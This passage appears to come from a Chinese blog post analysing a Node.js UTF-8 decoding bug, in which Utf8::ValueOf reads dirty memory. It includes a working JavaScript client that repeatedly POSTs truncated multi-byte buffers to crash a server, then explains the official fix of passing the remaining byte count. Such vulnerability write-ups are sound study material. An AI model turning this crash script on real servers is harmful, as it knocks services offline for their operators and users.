由于读取脏内存的数据并且需要满足utf8编码规则存在一定的概率,所以客户端得不断的向服务器post,为了加快服务器crash,我们发送稍微大点的buffer
var net = require('net'); var CRLF = '\r\n'; function send () { var connect = net.connect({ 'host':'127.0.0.1', 'port':3000 }, function(){ //console.log('connected',new Date()); }); sendRequest(connect,'/post'); } send(); setInterval(function(){ send() },100); var i=0; function sendRequest(connect, path) { var smile = Buffer(4); smile[0] = 0xf0; smile[1] = 0x9f; smile[2] = 0x98; smile[3] = 0x8a; smile = smile.toString(); var buf = Buffer(Array(16385).join(smile)).slice(0,-3); connect.write('POST '+path+' HTTP/1.1'); connect.write(CRLF); connect.write('Host: 127.0.0.1'); connect.write(CRLF); connect.write('Connection: keep-alive'); connect.write(CRLF); connect.write('Content-Length:'+buf.length); connect.write(CRLF); connect.write('Content-Type: application/json;charset=utf-8'); connect.write(CRLF); connect.write(CRLF); connect.write(buf); console.log(i++); }启动服务器后,执行client脚本发现服务器很快就crash了。
漏洞修复了解漏洞原理后修复其实非常简单,主要原因就是调用Utf8::ValueOf解析字符时会读取到符合编码规则的脏数据,而这个是因为传入的第二个参数是常量4,即使最后只剩一个字节时还继续读取。node官方的做法是调用此方法时传入剩余待解码的字节数,这样解析到最后一个字节时就不会继续读取到脏数据,自然也就不会造成断言失败或者死循环导致进程crash了。
下面的内容你可能也喜欢:
如何在CentOS 7安装Node.js
Ubuntu 14.04下搭建Node.js开发环境